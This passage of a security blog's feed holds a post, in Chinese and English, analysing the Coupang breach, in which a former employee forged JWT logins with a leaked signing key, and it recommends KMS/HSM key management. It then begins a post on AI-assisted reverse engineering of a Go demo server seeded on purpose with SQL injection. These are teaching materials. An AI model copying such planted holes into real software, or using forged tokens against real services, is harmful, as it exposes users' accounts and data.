Manager 的 <a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/create_secret.html">create-secret</a> 指令幫你產一個 key 並且儲存：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">aws secretsmanager create-secret <span class="token punctuation">\</span>  <span class="token parameter variable">--name</span> jwt-secret <span class="token punctuation">\</span>  --generate-secret-string <span class="token string">'&#123;"PasswordLength":64&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>（只是拿 AWS 來舉例，你用其他雲的類似服務應該也都差不多）</p><p>如此一來，在 key 產生的時候就不會有人知道內容。</p><p>雖然這樣的方式比起剛剛那樣已經更安全了，但仔細想想會發現依然還有幾個問題。</p><p>第一，放在 AWS Secret Manager 中的 key 是可以被讀取的，你有 <code>secretsmanager:GetSecretValue</code> 權限就可以讀。所以若是有 SRE 具有這個權限，或是透過其他方式幫自己設定這個權限，一樣讀得到。</p><p>第二，系統因為要用這把 key，它肯定是讀得到的，那如果有開發者改了一段程式碼在 CI 或是系統啟動時把 key 的內容 dump 到 log 中，他一樣可以知道 key 的明文。</p><p>這兩種方式都會留下紀錄，如 AWS 權限變更的紀錄、讀取 key 的紀錄與程式碼的 commit 紀錄等等，而且第二種方式的攻擊前提也不低，通常把  code 推上去 production 之前需要過 PR review，印出來的時候也可能直接被 DLP 掃到。</p><p>但無關乎會不會留下證據，重點是如果內部人士有心作惡，還是拿得到的。</p><p>其中一種解決方式是先從 key rotation 做起，當可以碰到 key 的人員離職時，記得把相關的 key 都換過一輪以防外洩。儘管我們無法防止在職人員作惡，但至少保障離職之後就自動喪失所有權限，在職時接觸到的資訊或金鑰都無法再使用。</p><p>若是還想要再更安全，就算在職員工也不想讓他摸到 key，那就是把「系統需要拿到 key 才能加解密」這個前提拿掉，變成連加解密都不在系統本身做了，而是把這段代理到另外一個可信的地方。</p><p>這就是常見的 KMS（Key Management Service）專門在做的事情。</p><p>在這類型的服務中，你是拿不到 key 的，它只開放給你幾個 API，例如說：</p><ol><li>Encrypt</li><li>Decrypt</li><li>Sign</li><li>Verify</li></ol><p>所以你要加解密時，就是去呼叫 KMS 的 API 並且等待結果，在這流程中你根本不需要 key，從 key 的產生到使用，全部都是在 KMS 內部做的。</p><p>簡單來講，就是把這些 key 的相關操作獨立成一個子系統。</p><p>但若只是獨立成子系統，其實根本問題並沒有被解決，這個子系統也會再碰到同樣的問題，那就是 KMS 被 compromised 該怎麼辦？key 會不會洩漏？</p><p>若是想做到 key 真的完全不被洩漏（盡可能完全啦，但當然不是 100%），最終解法就是把 key 的管理都交給專門的硬體，也就是 HSM（Hardware Security Module），這些硬體是專門拿來保護 key 的，甚至有考慮到實體攻擊的風險，類似於電影裡看到的那種，保險箱金庫偵測到有人要入侵會自己銷毀之類的。</p><p>不過企業級的 HSM 應該是需要百萬台幣起跳，除了自己買 HSM 以外，雲端服務的 KMS 背後也可以搭配 Cloud HSM 來用，例如說 AWS 的 <a href="https://docs.aws.amazon.com/pdfs/kms/latest/cryptographic-details/kms-crypto-details.pdf">KMS 文件</a>裡面就有寫到：</p><blockquote><p>If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over<br>an authenticated session to provision a hardware security module (HSM) backing key (HBK).<br>如果 Origin 設為 AWS_KMS，在建立 ARN 之後，系統會透過經過驗證的連線向 AWS KMS 的 HSM 發送請求，建立一把 HSM backing key。</p></blockquote><p>話說 Secret Manager 跟 KMS 的概念某個層面有點類似，簡單講一下區別。</p><p>Secret Manager 只是管 secret 的，這個 secret 可以是你呼叫第三方 API 的 token，也可以是登入某個服務的 password，這些都是 secret，但卻不一定是「key」，這個 key 專門指的是密碼學上的 key。</p><p>而 Key Management Service 就是專門在管 key 用的，因此提供了加解密跟數位簽章相關的 API，圍繞著 key 在打轉，所以當然連 key 的產生跟整個生命週期都有顧慮到，這就是 Secret Manager 與 KMS 的不同。</p><p>簡單來說，Secret Manager 解決的是「如何安全地保存秘密資訊」，而 KMS 解決的是「如何安全地管理與使用密碼學金鑰」。</p><p>不過話說回來，為什麼我們要花這麼多的心力去保護這一把 key？那是因為以 JWT token 來說，一旦 private key 被拿走了，就可以直接偽造任意使用者的身份登入…等等，這件事情本身是不是怪怪的？</p><h2><span id="使用-jwt-token-的額外風險">使用 JWT token 的額外風險</span></h2><p>這篇 2016 年的經典文章 <a href="http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/">Stop using JWT for sessions</a> 中有定義三個名詞：</p><ol><li>Stateless JWT：session data 直接存到 JWT 裡</li><li>Stateful JWT：JWT 裡只存 session id</li><li>Session token&#x2F;cookie：傳統做法，cookie 存 session id</li></ol><p>而這次我想討論的主要是第一種。</p><p>在第一種的狀況中，由於 user 的 data 直接存到 JWT 裡面，因此一旦 JWT 可以被偽造，就能直接造成嚴重的問題，如同這次 Coupang 一樣。</p><p>但如果傳統做法或者是第二種，我們只存 session id 的話，由於這是個隨機字串，在不可預測的前提之下，攻擊者是沒辦法做更多事情的，所以拿到 key 也沒辦法直接偽造身份。</p><p>也就是說，stateless JWT 的做法其實有個風險在，那就是 key 被偷走就直接 game over，所以 key 的保護就變得非常重要。</p><p>還有另一點需要注意的，如果是用非對稱式的加密，除了保護 private key，也需要保護 public key。</p><p>啊？都叫做 public 了為什麼還需要保護？</p><p>因為系統在驗證的時候是拿 public key 去驗嘛，而這個 public key 通常都會放在一個固定的 URL，如 .well-known&#x2F;jwks.json 之類的。</p><p>若是這個 URL 被 compromised，攻擊者就能產生一組新的 key，把 public key 換掉，這樣就可以用自己 sign 的 JWT token 過關了。雖然其他正規管道 sign 出來的 key 全部都會失敗然後系統肯定會報警，但攻擊者依舊有個 time window 可以成功偽造身份。</p><p>所以無論是 private key 還是 public key，都需要受到保護。</p><h2><span id="結語">結語</span></h2><p>以往看到資安事件的第一反應都會是外部駭客入侵，但這次倒是看到了個 insider 的實際案例。「內部員工」這個身份本來就會擁有更多權限，看到更多東西，而「內部開發者」就又更甚了，甚至還是「內部 auth 系統的開發者」。</p><p>雖然離職了，但還是比其他人知道更多內部細節，也更容易從外部打回去（例如說自己偷帶一份 code 然後用漏洞打進去，或利用已知但還沒修補的漏洞等等）。</p><p>從韓國的調查報告中，也讓我們這些外部人士能夠一窺技術細節，試著去拼湊出哪些系統出了問題，又該怎樣做得更好。</p><p>我相信有許多公司在產生 key 這段多少都有點問題，我也看過很多是開發者或是 SRE 自己產，產完放到 Secret Manager 的。很多公司也沒這麼多資源專門去弄個 KMS（或甚至有些是沒想到可以這樣或需要這樣做）。這些都是風險，都會回到風險管理的框架底下去討論，應該不少公司目前選擇的是接受風險，亦即承認風險的存在，但因發生機率小所以先不處理。</p><p>若是真的有哪個能碰到這些的離職員工偷偷帶了一份資料走，那類似的事情很可能又會重演。</p><p>話說在看這個事件的時候一直讓我想到以前做加密貨幣相關保險的工作經歷，因為管 key 這種東西其實對交易所是至關重要的，尤其是錢包的 private key，畢竟直接關係到大筆金錢。那時候也看了不少該怎麼保護 private key 的方法，記了很多筆記，也學了很多專有名詞，這篇提到的 HSM、KMS 或沒提到的 DEK（Data Encryption Key）、KEK（Key Encryption Key）還有 Envelope encryption 等等，這些也都很有趣。</p><p>如果我能找回以前寫的筆記以及逐漸模糊的記憶的話，以後再來寫一篇吧。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;從去年 11 月開始，Coupang 個資外洩的事件就受到不少關注，一來是據傳外洩的資料數目龐大，二來這間公司也有在台灣設點。隨著調查進度持續推進，也有越來越多細節出現，甚至還被形容為&lt;a href=&quot;https://ec.ltn.com.tw/article/breakingnews/5289937&quot;&gt;如同電影情節&lt;/a&gt;，去河裡打撈硬碟。&lt;/p&gt;
&lt;p&gt;最近跑去翻了韓國那邊出的報告發現寫得還滿詳細的，就寫一篇來聊聊這整件事情在技術上到底是怎麼做到的，以及在資安上又有哪些可以留意的地方。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>Learn Internal Threats, Key Management, and JWT from the Coupang Data Breach</title>
    <link href="https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/"/>
    <id>https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/</id>
    <published>2026-03-19T02:28:05.000Z</published>
    <updated>2026-03-19T11:36:59.476Z</updated>
    
    <content type="html"><![CDATA[<p>Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.</p><p>Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.</p><span id="more"></span><h2><span id="how-did-they-get-in">How Did They Get In?</span></h2><p>First, let’s briefly summarize the events of the incident to provide a basic context before diving into the finer details.</p><p>Currently, there are two official statements from Taiwan:</p><ol><li><a href="https://tw.coupangcorp.com/archives/5789/">Coupang Taiwan’s Latest Statement on the Recent Cybersecurity Incident in Coupang Korea</a> (Published on 2025-12-25)</li><li><a href="https://tw.coupangcorp.com/archives/5954/">Coupang Taiwan: Update on the Data Breach Announced on November 29, 2025</a> (Published on 2026-02-24)</li></ol><p>However, more details can be found in this official statement available only in English and Korean: <a href="https://www.aboutcoupang.com/English/news/news-details/2025/update-on-coupang-korea-cybersecurity-incident/">Update on Coupang Korea Cybersecurity Incident</a> (Published on 2025-12-29)</p><p>For those interested in more technical details, you will need to refer to the investigation report released by the Ministry of Science and ICT (MSIT) in Korea on February 10, which is extremely detailed: <a href="https://www.msit.go.kr/eng/bbs/view.do;jsessionid=iMyzX8C42zedbf27PtWxq844qjcyYy0VOCt74FEO.AP_msit_2?sCode=eng&mPid=2&mId=4&bbsSeqNo=42&nttSeqNo=1221&utm_source=perplexity">Investigation Results on the Data Breach by a Former Coupang Employee</a>. The technical details cited in this article will also come from this report.</p><p>The incident began on November 16, 2025, when Coupang received an email from the attacker, claiming that a large amount of personal data had been leaked due to a system vulnerability, along with relevant screenshots as proof.</p><p>Coupang immediately launched an investigation and began reviewing logs, discovering that data had indeed been stolen, leading to the news everyone has seen. The incident has now largely come to a close, and the relevant results can be found through official statements and news reports. This article will not discuss the results but will focus solely on the technical details.</p><p>Therefore, the question we are concerned with is: “How did this attacker get in?” Let’s first look at their identity.</p><blockquote><p>The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, while employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.</p></blockquote><p>The attacker was a former employee and was responsible for developing auth-related systems. The person who sent the email at the beginning is also this individual, but the report and news do not explain why they chose to expose their own attack.</p><p>In a normal login process, after verifying the username and password, the system issues an “electronic access badge” (as stated in the report), and then the server uses a signing key to verify whether this badge is legitimate. While working at Coupang, the attacker directly obtained this signing key, allowing them to locally sign a legitimate badge and log in as anyone.</p><p>This electronic access badge sounds a lot like a JWT token. I tried it myself on Coupang’s Taiwan website and found that the token used for identity verification is indeed a JWT token (CT_AT_TW). When decoded, it looks like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"aud"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"https://www.tw.coupang.com"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"client_id"</span><span class="token operator">:</span> <span class="token string">"4cb7da11-c6d6-4ca3-875f-332cf489d5d"</span><span class="token punctuation">,</span>  <span class="token property">"exp"</span><span class="token operator">:</span> <span class="token number">1773067653</span><span class="token punctuation">,</span>  <span class="token property">"ext"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"LSID"</span><span class="token operator">:</span> <span class="token string">"a3788aeb-239c-453d-cd90-72ac345aa431"</span><span class="token punctuation">,</span>    <span class="token property">"fiat"</span><span class="token operator">:</span> <span class="token number">1773064052</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"iat"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"iss"</span><span class="token operator">:</span> <span class="token string">"https://mauth.tw.coupang.net/"</span><span class="token punctuation">,</span>  <span class="token property">"jti"</span><span class="token operator">:</span> <span class="token string">"043c2c37-c373-4b75-abbc-ad8e646bb490"</span><span class="token punctuation">,</span>  <span class="token property">"nbf"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"scp"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"openid"</span><span class="token punctuation">,</span>    <span class="token string">"offline"</span><span class="token punctuation">,</span>    <span class="token string">"core"</span><span class="token punctuation">,</span>    <span class="token string">"core-shared"</span><span class="token punctuation">,</span>    <span class="token string">"pay"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"sub"</span><span class="token operator">:</span> <span class="token string">"556683653781741"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Although I don’t know the internal technical implementation details of Coupang and can’t be 100% sure it’s a JWT token, since the mechanism of signing tokens for identity verification is most suitable with JWT tokens, let’s assume it’s a JWT token for now. Even if something else is used behind the scenes, the process should be similar.</p><p>At this point, it’s already quite clear how the attacker got in: they obtained the signing key (or you could also say the JWT secret) while still employed, so after leaving the company, they used this signing key to sign tokens themselves. The server verified it as legitimate and let them through, allowing them to log into someone else’s account. Once logged in, they could access personal information on pages like “my profile.”</p><p>So this is actually not an external attack; it wasn’t an external hacker exploiting a vulnerability in the auth system. Instead, it’s an insider threat, where a former employee used internal information obtained during their employment to breach the system.</p><p>Next, we can look at this issue from two angles: why an internal key was accessible to a developer, and the risks of using JWT tokens as an auth verification mechanism.</p><h2><span id="key-management-lifecycle">Key Management Lifecycle</span></h2><p>Keys are important; everyone knows this. The lifecycle of a key actually consists of several stages:</p><ol><li>Key Generation </li><li>Key Storage </li><li>Key Distribution</li><li>Key Usage</li><li>Key Rotation</li><li>Key Destruction</li></ol><p>The first step is to generate a secret key and ensure that the generation method is secure. This step usually emphasizes using secure algorithms, sufficiently random entropy, and a secure environment, etc. A problematic example would be using an insecure random number generator (like <code>Math.random()</code>) or generating the key in an insecure environment, such as on a developer’s local machine.</p><p>After generation, a secure location must be chosen for storage, such as an HSM or KMS. A counterexample would be storing it in plaintext on a specific machine.</p><p>Next, when the system needs to use this key, it must be able to securely transfer the key from the storage location to the usage location. A counterexample would be transmitting the key directly over HTTP on an internal network, where anyone intercepting the packets could see the plaintext key.</p><p>When using the key, it must be used correctly. The key should only be used for its intended purpose, and access should be restricted to those who can use it. For example, if I generate one key and every system uses the same one, that is an incorrect usage method. If it gets stolen, every system is compromised. There should be one key for auth, one for payment, or even multiple keys within the same system.</p><p>From Coupang’s public statement, it can be seen that although their auth key was leaked, payment-related services were unaffected, and no data was leaked. The investigation report from Korea also indicated that the impact was limited to pages like “My Information,” excluding payment-related information.</p><p>Finally, regarding key retirement, key rotation should be performed regularly to replace keys and limit the attack time window. After a key is completely destroyed, it must be ensured that it cannot be recovered, and that key should not be used again.</p><p>In this lifecycle, any step with an issue could lead to key leakage.</p><p>In the case of Coupang, since a former employee could access the key, it suggests that there was an error in the first two steps. The investigation report pointed out that the current employee’s computer also had this key:</p><blockquote><p>A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding).</p></blockquote><p>Many companies, when managing keys, may only consider half of the process. For example, they might know to use some Secret Manager or vault to store keys and securely transmit them for system use, but overlook other steps, such as key generation.</p><p>How was this key generated? Many companies might have a developer generate a key locally and then pass it to SRE, who configures it in the vault. In this process, the key has already been known to at least two internal employees, and there isn’t much logging available to check, as this occurs before the key is placed in the vault.</p><p>When the key is managed elsewhere, it is possible for SREs to have the permission to directly view the plaintext of the key and steal it. However, the vault system should have an access log that can be traced back. But if the logging occurs before the key is placed in, there will be no record, creating a security vulnerability.</p><p>Although the risk of insiders is relatively lower compared to other categories, as internal malfeasance is usually easier to detect and can lead to legal consequences, once it occurs, it can still cause significant damage to the company’s reputation, just like the recent Coupang incident.</p><h2><span id="safer-key-management-methods">Safer Key Management Methods</span></h2><p>Earlier, it was mentioned that many companies have no issues with key storage, but they do not do well in the key generation phase, allowing insiders to directly obtain the key, thus introducing internal risks.</p><p>Therefore, the safest method is “no one knows what this key is.”</p><p>“Anyone” includes SREs, CISO, CEO, or developers; no one knows what the key actually is.</p><p>For example, if you originally allowed SREs to generate the key themselves and then place it in AWS Secret Manager, you could change it to directly use the AWS Secret Manager’s <a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/create_secret.html">create-secret</a> command to generate a key and store it:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">aws secretsmanager create-secret <span class="token punctuation">\</span>  <span class="token parameter variable">--name</span> jwt-secret <span class="token punctuation">\</span>  --generate-secret-string <span class="token string">'&#123;"PasswordLength":64&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>(This is just an example using AWS; similar services from other clouds should be about the same.)</p><p>In this way, when the key is generated, no one will know its contents.</p><p>Although this method is already safer than the previous one, upon closer inspection, there are still a few issues.</p><p>First, the key stored in AWS Secret Manager can be read; if you have the <code>secretsmanager:GetSecretValue</code> permission, you can read it. So if an SRE has this permission or sets it for themselves through other means, they can still access it.</p><p>Second, since the system needs to use this key, it must be readable. If a developer modifies a piece of code to dump the key’s contents into the log during CI or system startup, they can still know the plaintext of the key.</p><p>Both of these methods will leave records, such as AWS permission change logs, key read logs, and code commit logs, etc. Moreover, the attack premise of the second method is not low; usually, code needs to go through PR review before being pushed to production, and it may also be directly caught by DLP when printed.</p><p>But regardless of whether evidence is left behind, the point is that if an insider is determined to do harm, they can still obtain it.</p><p>One solution is to start with key rotation. When personnel who can access the key leave, remember to rotate all related keys to prevent leakage. Although we cannot prevent current employees from doing harm, at least we ensure that they automatically lose all permissions after leaving, and any information or keys they accessed while employed can no longer be used.</p><p>If you want to be even safer, even current employees should not be allowed to touch the key. This means removing the premise that “the system needs to obtain the key to encrypt and decrypt,” and instead, moving the encryption and decryption process to another trusted location.</p><p>This is what KMS (Key Management Service) commonly does.</p><p>In this type of service, you cannot obtain the key; it only exposes a few APIs to you, such as:</p><ol><li>Encrypt</li><li>Decrypt</li><li>Sign</li><li>Verify</li></ol><p>So when you need to encrypt or decrypt, you call the KMS API and wait for the result. In this process, you do not need the key at all; from key generation to usage, everything is done within KMS.</p><p>In simple terms, it is about isolating these key-related operations into a subsystem.</p><p>However, merely isolating it into a subsystem does not fundamentally solve the problem; this subsystem will encounter the same issue: what if the KMS is compromised? Will the key be leaked?</p><p>If you want to ensure that the key is truly not leaked (as completely as possible, but certainly not 100%), the ultimate solution is to hand over key management to specialized hardware, namely HSM (Hardware Security Module). These hardware devices are specifically designed to protect keys and even consider the risk of physical attacks, similar to what you see in movies, where a safe detects an intrusion attempt and self-destructs.</p><p>However, enterprise-grade HSMs typically start at hundreds of thousands of TWD. Besides purchasing HSMs, cloud service KMS can also be paired with Cloud HSM. For example, AWS’s <a href="https://docs.aws.amazon.com/pdfs/kms/latest/cryptographic-details/kms-crypto-details.pdf">KMS documentation</a> states:</p><blockquote><p>If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over an authenticated session to provision a hardware security module (HSM) backing key (HBK).</p></blockquote><p>Speaking of Secret Manager and KMS, the concepts are somewhat similar in certain aspects, so let’s briefly discuss the differences.</p><p>Secret Manager is solely responsible for managing secrets, which can be tokens for calling third-party APIs or passwords for logging into certain services. These are all secrets, but they are not necessarily “keys,” as the term “key” specifically refers to cryptographic keys.</p><p>Key Management Service, on the other hand, is dedicated to managing keys, providing APIs related to encryption, decryption, and digital signatures, revolving around keys. Therefore, it also considers the generation of keys and their entire lifecycle, which is the difference between Secret Manager and KMS.</p><p>In simple terms, Secret Manager addresses “how to securely store secret information,” while KMS addresses “how to securely manage and use cryptographic keys.”</p><p>However, why do we put so much effort into protecting this key? That’s because, in the case of a JWT token, once the private key is taken, it can directly forge the identity of any user to log in… etc. Isn’t that a bit strange?</p><h2><span id="additional-risks-of-using-jwt-tokens">Additional Risks of Using JWT Tokens</span></h2><p>In this classic article from 2016, <a href="http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/">Stop using JWT for sessions</a>, three terms are defined:</p><ol><li>Stateless JWT: session data is stored directly in the JWT</li><li>Stateful JWT: only session ID is stored in the JWT</li><li>Session token&#x2F;cookie: traditional method, cookie stores session ID</li></ol><p>What I want to discuss this time is mainly the first type.</p><p>In the first scenario, since the user’s data is stored directly in the JWT, if the JWT can be forged, it can lead to serious problems, just like this incident with Coupang.</p><p>However, if we use the traditional method or the second type, where we only store the session ID, since this is a random string, under unpredictable circumstances, attackers cannot do much more. Therefore, even if they obtain the key, they cannot directly forge identities.</p><p>In other words, the stateless JWT approach actually has a risk: if the key is stolen, it’s game over, so protecting the key becomes very important.</p><p>Another point to note is that if asymmetric encryption is used, in addition to protecting the private key, the public key also needs to be protected.</p><p>Huh? Why does the public key need protection?</p><p>Because the system uses the public key for verification, and this public key is usually placed at a fixed URL, such as .well-known&#x2F;jwks.json.</p><p>If this URL is compromised, attackers can generate a new key pair and replace the public key, allowing them to pass with their own signed JWT token. Although all keys signed through legitimate channels will fail and the system will definitely raise an alarm, attackers still have a time window to successfully forge identities.</p><p>Therefore, both the private key and the public key need to be protected.</p><h2><span id="conclusion">Conclusion</span></h2><p>In the past, the first reaction to security incidents was often external hacker intrusions, but this time we saw a real case of an insider. The identity of “internal employees” inherently has more privileges and access to more information, and “internal developers” have even more access, especially if they are “developers of the internal auth system.”</p><p>Even after leaving the company, they still know more internal details than others and can more easily exploit vulnerabilities from the outside (for example, by stealing a piece of code and exploiting a vulnerability to gain access, or using known but unpatched vulnerabilities, etc.).</p><p>From the investigation report in Korea, we, as outsiders, can also get a glimpse of the technical details, trying to piece together which systems had issues and how to improve.</p><p>I believe many companies have some issues in generating keys; I’ve seen many cases where developers or SREs generate them and then store them in Secret Manager. Many companies also lack the resources to set up a KMS (or some may not have thought about it or realized the need to do so). These are all risks and will be discussed under the framework of risk management. Many companies currently choose to accept the risk, acknowledging its existence but deciding not to address it due to the low probability of occurrence.</p><p>If there is indeed a former employee who manages to sneak out some data, similar incidents are likely to happen again.</p><p>While observing this incident, I couldn’t help but think of my previous experience working in cryptocurrency-related insurance, as managing keys is crucial for exchanges, especially the private keys of wallets, which directly relate to large sums of money. At that time, I also looked into many methods for protecting private keys, took a lot of notes, and learned many technical terms. The HSM, KMS mentioned in this article, or the DEK (Data Encryption Key), KEK (Key Encryption Key), and envelope encryption that weren’t mentioned, are all quite interesting.</p><p>If I can retrieve the notes I wrote in the past and the memories that are gradually fading, I will come back to write another article later.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.&lt;/p&gt;
&lt;p&gt;Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>感謝 AI 讓我這外行人也能做簡單的逆向工程</title>
    <link href="https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:44:59.482Z</updated>
    
    <content type="html"><![CDATA[<p>最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。</p><p>但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。</p><p>不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。</p><p>先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。</p><p>而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。</p><span id="more"></span><h2><span id="環境準備">環境準備</span></h2><p>為了示範整體流程，先隨意讓 AI 寫了個有註冊、登入跟上傳檔案功能的 Golang server，檔案結構是：</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>內容的話，貼幾個最主要的檔案上來就好，一個是 route：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// 公開端點</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    <span class="token comment">// 需登入端點</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>再來是刻意埋的兩個漏洞，註冊時的 SQL injection：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span 